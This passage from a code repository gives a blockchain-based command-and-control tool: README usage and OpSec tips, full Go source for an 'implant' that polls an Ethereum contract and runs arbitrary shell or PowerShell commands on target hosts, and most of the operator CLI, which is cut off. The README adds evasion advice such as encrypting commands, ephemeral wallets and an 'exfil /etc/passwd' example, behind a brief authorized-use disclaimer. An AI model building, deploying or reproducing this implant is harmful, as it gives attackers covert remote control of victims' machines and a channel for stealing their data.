export CONTRACT_ADDR=0xDEPLOYED_CONTRACT_ADDRESS
export PRIVATE_KEY=0xIMPLANT_WALLET_PRIVATE_KEY
./bin/client --interval 15 --jitter 5
```
### 4. Issue Commands
```bash
./bin/server exec \
https://sepolia.infura.io/v3/YOUR_KEY \
0xOPERATOR_KEY \
0xCONTRACT_ADDRESS \
$(echo -n implant-id | xxd -p -c 64) \
"whoami"
```
### 5. Read Results
```bash
./bin/server results https://sepolia.infura.io/v3/YOUR_KEY 0xCONTRACT_ADDRESS --limit 10
```
---
## Configuration
### Environment Variables
| Variable | Purpose | Example |
|----------|---------|---------|
| `ETH_RPC_URL` | RPC endpoint | `https://sepolia.infura.io/v3/abc` |
| `CONTRACT_ADDR` | Deployed contract | `0x1234567890abcdef...` |
| `PRIVATE_KEY` | Wallet private key | `0xdeadbeefcafe...` |
### Client Flags
| Flag | Default | Description |
|------|---------|-------------|
| `--interval` | 15s | Poll interval |
| `--jitter` | 5s | Random jitter added to interval |
| `--rpc` | env | RPC URL override |
| `--contract` | env | Contract address override |
| `--key` | env | Private key override |
---
## OpSec Considerations
- **Everything on-chain is public.** Commands and results are visible to anyone reading the contract. Encrypt payloads if secrecy is needed (e.g., base64 + XOR, or AEAD before submission).
- **Anyone can submit results** for any command. The implant authenticates by having the wallet private key, but the contract doesn't enforce which address submits a result.
- **Implant ID is a hash** of `hostname|username|mac|arch`. This is deterministic but not secret. An analyst can see which hosts are calling in.
- **Gas costs** for result submission reveal the implant's wallet address. Consider using an ephemeral wallet per session.
- **The operator wallet** has control. Use a dedicated wallet, not your main one.
### Encryption (Recommended for Sensitive Ops)
Before calling `issueCommand`, encrypt your payload:
```bash
# Encrypt command
echo "exfil /etc/passwd" | openssl enc -aes-256-cbc -pass pass:sharedsecret -a
# Decrypt on implant (via shell pipeline)
# The implant sees the encrypted blob, pipes it through openssl
```
---
## Cross-Compilation
```bash
# Linux amd64 (most common for C2 infrastructure)
make build-client-linux-amd64
# ARM64 (Raspberry Pi, cloud ARM instances)
make build-client-linux-arm64
# Windows
make build-client-windows-amd64
# macOS
make build-client-darwin-amd64
```
---
## File Structure
```
c2-blockchain-contract/
├── contracts/
│ └── C2Controller.sol # Solidity smart contract
├── cmd/
│ ├── server/
│ │ └── main.go # Operator CLI tool
│ └── client/
│ └── main.go # Implant binary
├── DEPLOYMENT_WALKTHROUGH.md # End-to-end deployment guide
├── README.md # This file
├── Makefile # Build automation
└── go.mod # Go module definition
```
---
## DISCLAIMER
For authorized Security Testing or Educational Purposes only.
Binary file not shown.
Binary file not shown.
+416
View File
@@ -0,0 +1,416 @@
// Command client is the implant that runs on target systems. It polls the
// blockchain for commands, executes them, and submits results.
package main
import (
"bytes"
"fmt"
"math/big"
"net"
"os"
"os/exec"
"os/signal"
"os/user"
"runtime"
"strings"
"syscall"
"time"
"github.com/ethereum/go-ethereum"
"github.com/ethereum/go-ethereum/accounts/abi"
"github.com/ethereum/go-ethereum/accounts/abi/bind"
"github.com/ethereum/go-ethereum/common"
"github.com/ethereum/go-ethereum/core/types"
"github.com/ethereum/go-ethereum/crypto"
"github.com/ethereum/go-ethereum/ethclient"
)
// ──────────────────────────────────────────────
// Embedded ABI (same as server)
// ──────────────────────────────────────────────
const contractABIJSON = `[
{"inputs":[{"internalType":"address","name":"initialOperator","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"implantId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"commandId","type":"bytes32"},{"indexed":false,"internalType":"string","name":"command","type":"string"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"CommandIssued","type":"event"},
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"implantId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"commandId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"resultId","type":"bytes32"},{"indexed":false,"internalType":"string","name":"result","type":"string"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"ResultSubmitted","type":"event"},
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"active","type":"bool"}],"name":"OperatorUpdated","type":"event"},
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"name":"ackCommand","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"},{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"commands","outputs":[{"internalType":"string","name":"data","type":"string"},{"internalType":"bool","name":"active","type":"bool"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"}],"name":"getActiveCommands","outputs":[{"internalType":"bytes32[]","name":"","type":"bytes32[]"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"name":"getCommand","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"}],"name":"getLatestCommand","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"resultId","type":"bytes32"}],"name":"getResult","outputs":[{"internalType":"string","name":"data","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"string","name":"command","type":"string"}],"name":"issueCommand","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"operators","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"resultCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"uint256","name":"idx","type":"uint256"}],"name":"resultIdAtIndex","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"address","name":"op","type":"address"},{"internalType":"bool","name":"active","type":"bool"}],"name":"setOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"},{"internalType":"string","name":"result","type":"string"}],"name":"submitResult","outputs":[],"stateMutability":"nonpayable","type":"function"}
]`
// ──────────────────────────────────────────────
// Defaults
// ──────────────────────────────────────────────
const (
defaultPollInterval = 15 // seconds
defaultJitter = 5 // seconds
defaultExecTimeout = 60 // seconds per command
)
// ──────────────────────────────────────────────
// Main
// ──────────────────────────────────────────────
func main() {
rpcURL := os.Getenv("ETH_RPC_URL")
contractAddrStr := os.Getenv("CONTRACT_ADDR")
pkHex := os.Getenv("PRIVATE_KEY")
pollInterval := defaultPollInterval
jitter := defaultJitter
// CLI args override env
args := os.Args[1:]
for i := 0; i < len(args); i++ {
switch args[i] {
case "--rpc":
if i+1 < len(args) {
i++
rpcURL = args[i]
}
case "--contract":
if i+1 < len(args) {
i++
contractAddrStr = args[i]
}
case "--key":
if i+1 < len(args) {
i++
pkHex = args[i]
}
case "--interval":
if i+1 < len(args) {
i++
fmt.Sscanf(args[i], "%d", &pollInterval)
}
case "--jitter":
if i+1 < len(args) {
i++
fmt.Sscanf(args[i], "%d", &jitter)
}
case "--help", "-h":
printHelp()
return
}
}
if rpcURL == "" || contractAddrStr == "" || pkHex == "" {
fmt.Fprintln(os.Stderr, "Missing required config. Set ETH_RPC_URL, CONTRACT_ADDR, PRIVATE_KEY, or use --rpc, --contract, --key.")
printHelp()
os.Exit(1)
}
contractAddr := common.HexToAddress(contractAddrStr)
// Derive implant ID from something unique but reproducible
implantID := deriveImplantID()
fmt.Printf("[+] C2 Blockchain Implant\n")
fmt.Printf(" Implant ID: 0x%x\n", implantID)
fmt.Printf(" RPC: %s\n", rpcURL)
fmt.Printf(" Contract: %s\n", contractAddr.Hex())
fmt.Printf(" Poll: %ds ±%ds\n", pollInterval, jitter)
fmt.Println()
client, err := ethclient.Dial(rpcURL)
if err != nil {
fmt.Fprintf(os.Stderr, "[-] RPC dial error: %v\n", err)
os.Exit(1)
}
parsedABI, err := abi.JSON(strings.NewReader(contractABIJSON))
if err != nil {
fmt.Fprintf(os.Stderr, "[-] ABI parse error: %v\n", err)
os.Exit(1)
}
privateKey, err := crypto.HexToECDSA(strings.TrimPrefix(pkHex, "0x"))
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Private key error: %v\n", err)
os.Exit(1)
}
chainID, err := client.NetworkID(nil)
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Chain ID error: %v\n", err)
os.Exit(1)
}
auth, err := bind.NewKeyedTransactorWithChainID(privateKey, chainID)
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Transactor error: %v\n", err)
os.Exit(1)
}
// Track seen command IDs to avoid re-execution
seen := make(map[[32]byte]bool)
// Handle graceful shutdown
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
fmt.Println("[*] Listening for commands (Ctrl+C to stop)...")
for {
select {
case <-sigCh:
fmt.Println("\n[*] Shutting down.")
return
default:
}
err := pollCommands(client, parsedABI, contractAddr, implantID, auth, seen)
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Poll error: %v\n", err)
}
// Jittered sleep
sleep := pollInterval
if jitter > 0 {
sleep += int(randInt64n(int64(jitter*2+1))) - jitter
}
if sleep < 1 {
sleep = 1
}
time.Sleep(time.Duration(sleep) * time.Second)
}
}
func printHelp() {
fmt.Println(`Usage: client [flags]
Flags:
--rpc <url> Ethereum RPC URL (or ETH_RPC_URL)
--contract <addr> Contract address (or CONTRACT_ADDR)
--key <hex> Private key for result submission (or PRIVATE_KEY)
--interval <sec> Poll interval in seconds (default 15)
--jitter <sec> Jitter range in seconds (default 5)
--help, -h Show this help
The implant polls the contract for commands, executes them, and submits results.
Read operations are free (no gas). Submitting results requires a wallet with gas.`)
}
// ──────────────────────────────────────────────
// Implant ID derivation
// ──────────────────────────────────────────────
func deriveImplantID() [32]byte {
hostname, _ := os.Hostname()
u, _ := user.Current()
mac := getMAC()
raw := fmt.Sprintf("%s|%s|%s|%d", hostname, u.Username, mac, runtime.GOARCH)
hash := crypto.Keccak256Hash([]byte(raw))
var id [32]byte
copy(id[:], hash.Bytes())
return id
}
// ──────────────────────────────────────────────
// Poll & Execute
// ──────────────────────────────────────────────
func pollCommands(
client *ethclient.Client,
parsedABI abi.ABI,
contractAddr common.Address,
implantID [32]byte,
auth *bind.TransactOpts,
seen map[[32]byte]bool,
) error {
// Method 1: getActiveCommands (view, free)
cmdIDs := getActiveCommandIDs(client, parsedABI, contractAddr, implantID)
if len(cmdIDs) == 0 {
return nil
}
for _, cmdID := range cmdIDs {
if seen[cmdID] {
continue
}
// getCommand (view, free)
cmdStr, err := getCommandStr(client, parsedABI, contractAddr, implantID, cmdID)
if err != nil {
fmt.Fprintf(os.Stderr, "[-] getCommand error: %v\n", err)
continue
}
if cmdStr == "" {
continue
}
fmt.Printf("[!] Executing command: %s\n", cmdStr)
output, err := executeCommand(cmdStr)
if err != nil {
output = fmt.Sprintf("ERROR: %v\n%s", err, output)
}
fmt.Printf("[+] Output (%d bytes)\n", len(output))
// Submit result (needs gas)
txHash, err := submitResult(client, parsedABI, contractAddr, auth, implantID, cmdID, output)
if err != nil {
fmt.Fprintf(os.Stderr, "[-] submitResult error: %v\n", err)
continue
}
fmt.Printf("[+] Result submitted: %s\n", txHash.Hash().Hex())
seen[cmdID] = true
}
return nil
}
// ──────────────────────────────────────────────
// Blockchain interaction helpers
// ──────────────────────────────────────────────
func getActiveCommandIDs(client *ethclient.Client, parsedABI abi.ABI, contractAddr common.Address, implantID [32]byte) [][32]byte {
data, err := parsedABI.Pack("getActiveCommands", implantID)
if err != nil {
return nil
}
resp, err := client.CallContract(nil, ethereum.CallMsg{To: &contractAddr, Data: data}, nil)
if err != nil {
return nil
}
// Unpack the dynamic array
var ids [][32]byte
if err := parsedABI.UnpackIntoInterface(&ids, "getActiveCommands", resp); err != nil {
return nil
}
return ids
}
func getCommandStr(client *ethclient.Client, parsedABI abi.ABI, contractAddr common.Address, implantID, cmdID [32]byte) (string, error) {
data, err := parsedABI.Pack("getCommand", implantID, cmdID)
if err != nil {
return "", err
}
resp, err := client.CallContract(nil, ethereum.CallMsg{To: &contractAddr, Data: data}, nil)
if err != nil {
return "", err
}
var cmdStr string
if err := parsedABI.UnpackIntoInterface(&cmdStr, "getCommand", resp); err != nil {
return "", err
}
return cmdStr, nil
}
func submitResult(
client *ethclient.Client,
parsedABI abi.ABI,
contractAddr common.Address,
auth *bind.TransactOpts,
implantID, cmdID [32]byte,
result string,
) (*types.Transaction, error) {
data, err := parsedABI.Pack("submitResult", implantID, cmdID, result)
if err != nil {
return nil, fmt.Errorf("pack: %w", err)
}
gasPrice, err := client.SuggestGasPrice(nil)
if err != nil {
return nil, fmt.Errorf("gasPrice: %w", err)
}
// Buffer
gasPrice = new(big.Int).Mul(gasPrice, big.NewInt(12))
gasPrice = new(big.Int).Div(gasPrice, big.NewInt(10))
nonce, err := client.PendingNonceAt(nil, auth.From)
if err != nil {
return nil, fmt.Errorf("nonce: %w", err)
}
tx := types.NewTransaction(nonce, contractAddr, big.NewInt(0), 200000, gasPrice, data)
signedTx, err := auth.Signer(auth.From, tx)
if err != nil {
return nil, fmt.Errorf("sign: %w", err)
}
if err := client.SendTransaction(nil, signedTx); err != nil {
return nil, fmt.Errorf("send: %w", err)
}
return signedTx, nil
}
// ──────────────────────────────────────────────
// Command Execution
// ──────────────────────────────────────────────
func executeCommand(cmdStr string) (string, error) {
var cmd *exec.Cmd
// Use shell for flexibility
switch runtime.GOOS {
case "windows":
cmd = exec.Command("powershell.exe", "-NoProfile", "-Command", cmdStr)
default:
cmd = exec.Command("/bin/sh", "-c", cmdStr)
}
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
// Timeout
timer := time.AfterFunc(defaultExecTimeout*time.Second, func() {
if cmd.Process != nil {
cmd.Process.Kill()
}
})
defer timer.Stop()
err := cmd.Run()
output := stdout.String()
if stderr.Len() > 0 {
if output != "" {
output += "\n--- STDERR ---\n"
}
output += stderr.String()
}
return output, err
}
// ──────────────────────────────────────────────
// Utility
// ──────────────────────────────────────────────
func getMAC() string {
// Best-effort MAC address for implant identity
ifaces, err := net.Interfaces()
if err != nil {
return "unknown"
}
for _, iface := range ifaces {
if len(iface.HardwareAddr) > 0 && iface.Flags&net.FlagLoopback == 0 && iface.Flags&net.FlagUp != 0 {
return iface.HardwareAddr.String()
}
}
return "unknown"
}
func randInt64n(n int64) int64 {
// Simple LCG — fine for jitter, not for crypto
if n <= 0 {
return 0
}
seed := time.Now().UnixNano()
return (seed % n + n) % n
}
+580
View File
@@ -0,0 +1,580 @@
// Command server is the operator-side tool for deploying the contract and
// issuing commands to implants via the blockchain.
package main
import (
"context"
"encoding/hex"
"fmt"
"math/big"
"os"
"strings"
"time"
"github.com/ethereum/go-ethereum"
"github.com/ethereum/go-ethereum/accounts/abi"
"github.com/ethereum/go-ethereum/accounts/abi/bind"
"github.com/ethereum/go-ethereum/common"
"github.com/ethereum/go-ethereum/core/types"
"github.com/ethereum/go-ethereum/crypto"
"github.com/ethereum/go-ethereum/ethclient"
)
// ------------------
// Embedded ABI — replace with `forge inspect C2Controller abi` output
// ------------------
const contractABIJSON = `[
{"inputs":[{"internalType":"address","name":"initialOperator","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"implantId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"commandId","type":"bytes32"},{"indexed":false,"internalType":"string","name":"command","type":"string"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"CommandIssued","type":"event"},
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"implantId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"commandId","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"resultId","type":"bytes32"},{"indexed":false,"internalType":"string","name":"result","type":"string"},{"indexed":false,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"ResultSubmitted","type":"event"},
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"active","type":"bool"}],"name":"OperatorUpdated","type":"event"},
{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"name":"ackCommand","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"},{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"commands","outputs":[{"internalType":"string","name":"data","type":"string"},{"internalType":"bool","name":"active","type":"bool"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"}],"name":"getActiveCommands","outputs":[{"internalType":"bytes32[]","name":"","type":"bytes32[]"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"name":"getCommand","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"}],"name":"getLatestCommand","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"resultId","type":"bytes32"}],"name":"getResult","outputs":[{"internalType":"string","name":"data","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"},{"internalType":"bytes32","name":"commandId","type":"bytes32"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"string","name":"command","type":"string"}],"name":"issueCommand","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"operators","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[],"name":"resultCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"uint256","name":"idx","type":"uint256"}],"name":"resultIdAtIndex","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"address","name":"op","type":"address"},{"internalType":"bool","name":"active","type":"bool"}],"name":"setOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"bytes32","name":"implantId","type":"bytes32"},{"internalType":"bytes32","name":"commandId","type":"bytes32"},{"internalType":"string","name":"result","type":"string"}],"name":"submitResult","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}
]`
// Placeholder — replace with actual deployed bytecode hex from compile
// Run: solc --bin C2Controller.sol or forge build && cat out/C2Controller.sol/C2Controller.json | jq -r '.bytecode.object'
const contractBytecode = "0x608060..." // REPLACE ME
// ──────────────────────────────────────────────
// CLI
// ──────────────────────────────────────────────
func main() {
if len(os.Args) < 2 {
printUsage()
os.Exit(1)
}
switch os.Args[1] {
case "deploy":
cmdDeploy(os.Args[2:])
case "exec":
cmdExec(os.Args[2:])
case "results":
cmdResults(os.Args[2:])
case "add-op":
cmdAddOp(os.Args[2:])
case "watch":
cmdWatch(os.Args[2:])
default:
fmt.Fprintf(os.Stderr, "Unknown command: %s\n\n", os.Args[1])
printUsage()
os.Exit(1)
}
}
func printUsage() {
fmt.Println(`Usage:
server deploy <rpc-url> <private-key-hex> [initial-operator-address]
server exec <rpc-url> <private-key-hex> <contract-addr> <implant-id-hex> <command>
server results <rpc-url> <contract-addr> [--limit N]
server add-op <rpc-url> <private-key-hex> <contract-addr> <operator-address>
server watch <rpc-url> <contract-addr> [--implant <implant-id-hex>]
Flags:
--limit <N> Limit results shown (default 20)
--implant <hex> Filter events by implant ID
Environment:
PRIVATE_KEY Hex private key (alternative to CLI arg)
ETH_RPC_URL RPC URL (alternative to CLI arg)
CONTRACT_ADDR Contract address (alternative to CLI arg)
Examples:
server deploy https://sepolia.infura.io/v3/YOUR_KEY 0xabc123...
server exec https://sepolia.infura.io/v3/YOUR_KEY 0xabc123... 0xDeAd... 0011 "whoami"
server results https://sepolia.infura.io/v3/YOUR_KEY 0xDeAd...
server watch https://sepolia.infura.io/v3/YOUR_KEY 0xDeAd...`)
}
func parseCommonFlags(args []string) ([]string, *uint64) {
var limit *uint64
var filtered []string
for i := 0; i < len(args); i++ {
if args[i] == "--limit" && i+1 < len(args) {
i++
v := uint64(0)
if _, err := fmt.Sscanf(args[i], "%d", &v); err == nil {
limit = &v
}
} else {
filtered = append(filtered, args[i])
}
}
return filtered, limit
}
// ──────────────────────────────────────────────
// connect / wallet helpers
// ──────────────────────────────────────────────
func rpcAndWallet(rpcURL, pkHex string) (*ethclient.Client, *bind.TransactOpts, error) {
client, err := ethclient.Dial(rpcURL)
if err != nil {
return nil, nil, fmt.Errorf("dial: %w", err)
}
privateKey, err := crypto.HexToECDSA(strings.TrimPrefix(pkHex, "0x"))
if err != nil {
return nil, nil, fmt.Errorf("private key: %w", err)
}
chainID, err := client.NetworkID(nil)
if err != nil {
return nil, nil, fmt.Errorf("chain ID: %w", err)
}
auth, err := bind.NewKeyedTransactorWithChainID(privateKey, chainID)
if err != nil {
return nil, nil, fmt.Errorf("transactor: %w", err)
}
return client, auth, nil
}
func getEnvOrDefault(envKey, def string) string {
if v := os.Getenv(envKey); v != "" {
return v
}
return def
}
func bytes32FromHex(s string) ([32]byte, error) {
var out [32]byte
b, err := hex.DecodeString(strings.TrimPrefix(s, "0x"))
if err != nil {
return out, err
}
if len(b) != 32 {
return out, fmt.Errorf("expected 32 bytes, got %d", len(b))
}
copy(out[:], b)
return out, nil
}
// ──────────────────────────────────────────────
// ABI helpers
// ──────────────────────────────────────────────
func mustParseABI() abi.ABI {
a, err := abi.JSON(strings.NewReader(contractABIJSON))
if err != nil {
panic(fmt.Sprintf("ABI parse error: %v", err))
}
return a
}
func contractCall(client *ethclient.Client, to common.Address, data []byte) ([]byte, error) {
return client.CallContract(nil, ethereum.CallMsg{To: &to, Data: data}, nil)
}
func sendTx(client *ethclient.Client, auth *bind.TransactOpts, to common.Address, data []byte, gas uint64) (*types.Transaction, error) {
gasPrice, err := client.SuggestGasPrice(nil)
if err != nil {
return nil, fmt.Errorf("suggestGasPrice: %w", err)
}
gasPrice = new(big.Int).Mul(gasPrice, big.NewInt(12))
gasPrice = new(big.Int).Div(gasPrice, big.NewInt(10))
nonce, err := client.PendingNonceAt(nil, auth.From)
if err != nil {
return nil, fmt.Errorf("nonce: %w", err)
}
tx := types.NewTransaction(nonce, to, big.NewInt(0), gas, gasPrice, data)
signedTx, err := auth.Signer(auth.From, tx)
if err != nil {
return nil, fmt.Errorf("sign: %w", err)
}
if err := client.SendTransaction(nil, signedTx); err != nil {
return nil, fmt.Errorf("send: %w", err)
}
return signedTx, nil
}
// ──────────────────────────────────────────────
// Subcommand: deploy
// ──────────────────────────────────────────────
func cmdDeploy(args []string) {
if len(args) < 2 {
fmt.Fprintln(os.Stderr, "Usage: server deploy <rpc-url> <private-key-hex> [initial-operator-address]")
os.Exit(1)
}
rpcURL := args[0]
pkHex := args[1]
initOp := common.Address{}
if len(args) > 2 {
initOp = common.HexToAddress(args[2])
}
client, auth, err := rpcAndWallet(rpcURL, pkHex)
if err != nil {
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
os.Exit(1)
}
parsedABI := mustParseABI()
ctorArgs, err := parsedABI.Pack("", initOp)
if err != nil {
fmt.Fprintf(os.Stderr, "Constructor arg encode error: %v\n", err)
os.Exit(1)
}
data := append(common.FromHex(contractBytecode), ctorArgs...)
gasPrice, err := client.SuggestGasPrice(nil)
if err != nil {
fmt.Fprintf(os.Stderr, "SuggestGasPrice: %v\n", err)
os.Exit(1)
}
gasPrice = new(big.Int).Mul(gasPrice, big.NewInt(12))
gasPrice = new(big.Int).Div(gasPrice, big.NewInt(10))
nonce, err := client.PendingNonceAt(nil, auth.From)
if err != nil {
fmt.Fprintf(os.Stderr, "Nonce: %v\n", err)
os.Exit(1)
}
tx := types.NewContractCreation(nonce, big.NewInt(0), 3000000, gasPrice, data)
signedTx, err := auth.Signer(auth.From, tx)
if err != nil {
fmt.Fprintf(os.Stderr, "Sign error: %v\n", err)
os.Exit(1)
}
if err := client.SendTransaction(nil, signedTx); err != nil {
fmt.Fprintf(os.Stderr, "Send error: %v\n", err)
os.Exit(1)
}
fmt.Printf("Deploy tx sent: %s\n", signedTx.Hash().Hex())
fmt.Println("Waiting for receipt...")
receipt, err := bind.WaitMined(nil, client, signedTx)
if err != nil {
fmt.Fprintf(os.Stderr, "Wait error: %v\n", err)
os.Exit(1)
}
if receipt.Status == 0 {
fmt.Fprintln(os.Stderr, "Deploy failed (reverted). Check your contract or gas.")
os.Exit(1)
}
fmt.Printf("Contract deployed at: %s\n", receipt.ContractAddress.Hex())
fmt.Printf("Tx hash: %s\n", receipt.TxHash.Hex())
fmt.Printf("Block: %d\n", receipt.BlockNumber)
}
// ──────────────────────────────────────────────
// Subcommand: exec (issue a command)
// ──────────────────────────────────────────────
func cmdExec(args []string) {
if len(args) < 5 {
fmt.Fprintln(os.Stderr, "Usage: server exec <rpc-url> <private-key-hex> <contract-addr> <implant-id-hex> <command>")
os.Exit(1)
}
rpcURL := args[0]
pkHex := args[1]
contractAddr := common.HexToAddress(args[2])
implantHex := args[3]
commandStr := args[4]
implantID, err := bytes32FromHex(implantHex)
if err != nil {
fmt.Fprintf(os.Stderr, "Bad implant ID: %v\n", err)
os.Exit(1)
}
client, auth, err := rpcAndWallet(rpcURL, pkHex)
if err != nil {
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
os.Exit(1)
}
parsedABI := mustParseABI()
data, err := parsedABI.Pack("issueCommand", implantID, commandStr)
if err != nil {
fmt.Fprintf(os.Stderr, "Pack error: %v\n", err)
os.Exit(1)
}
tx, err := sendTx(client, auth, contractAddr, data, 200000)
if err != nil {
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
os.Exit(1)
}
fmt.Printf("Command issued. Tx: %s\n", tx.Hash().Hex())
fmt.Printf("Implant ID: 0x%x\n", implantID)
// Compute command ID (matching contract's keccak256(implantId, command, block.timestamp))
// Since block.timestamp is unknown client-side, the operator should note the tx hash
// and use `server results` to see the result appear.
fmt.Println("Use `server results <rpc> <contract>` to see results.")
}
// ──────────────────────────────────────────────
// Subcommand: results
// ──────────────────────────────────────────────
func cmdResults(args []string) {
args, limit := parseCommonFlags(args)
if len(args) < 2 {
fmt.Fprintln(os.Stderr, "Usage: server results <rpc-url> <contract-addr> [--limit N]")
os.Exit(1)
}
rpcURL := args[0]
contractAddr := common.HexToAddress(args[1])
client, err := ethclient.Dial(rpcURL)
if err != nil {
fmt.Fprintf(os.Stderr, "Dial: %v\n", err)
os.Exit(1)
}
parsedABI := mustParseABI()
// resultCount()
data, _ := parsedABI.Pack("resultCount")
resp, err := contractCall(client, contractAddr, data)
if err != nil {
fmt.Fprintf(os.Stderr, "resultCount: %v\n", err)
os.Exit(1)
}
count := new(big.Int).SetBytes(resp).Uint64()
maxResults := count
if limit != nil && *limit < maxResults {
maxResults = *limit
}
fmt.Printf("Total results: %d\n\n", count)
for i := count; i > count-maxResults && i > 0; i-- {
idx := i - 1
ridData, _ := parsedABI.Pack("resultIdAtIndex", new(big.Int).SetUint64(idx))
ridResp, err := contractCall(client, contractAddr, ridData)
if err != nil {
continue
}
var resultID [32]byte
copy(resultID[:], ridResp)
rData, _ := parsedABI.Pack("getResult", resultID)
rResp, err := contractCall(client, contractAddr, rData)
if err != nil {
continue
}
type Result struct {
Data string `json:"data"`
Timestamp *big.Int `json:"timestamp"`
CommandID [32]byte `json:"commandId"`
}
var res Result
if err := parsedABI.UnpackIntoInterface(&res, "getResult", rResp); err != nil {
continue
}
t := time.Unix(res.Timestamp.Int64(), 0)
fmt.Printf("[%d] Result ID: 0x%x\n", idx, resultID)
fmt.Printf(" Command: 0x%x\n", res.CommandID)
fmt.Printf(" Time: %s\n", t.Format(time.RFC3339))
fmt.Printf(" Output: %s\n", truncate(res.Data, 200))
fmt.Println()
}
}
func truncate(s string, n int) string {
if len(s) <= n {
return s
}
return s[:n] + "..."
}
// ──────────────────────────────────────────────
// Subcommand: add-op
// ──────────────────────────────────────────────
func cmdAddOp(args []string) {
if len(args) < 4 {
fmt.Fprintln(os.Stderr, "Usage: server add-op <rpc-url> <private-key-hex> <contract-addr> <operator-address>")
os.Exit(1)
}
rpcURL := args[0]
pkHex := args[1]
contractAddr := common.HexToAddress(args[2])
opAddr := common.HexToAddress(args[3])
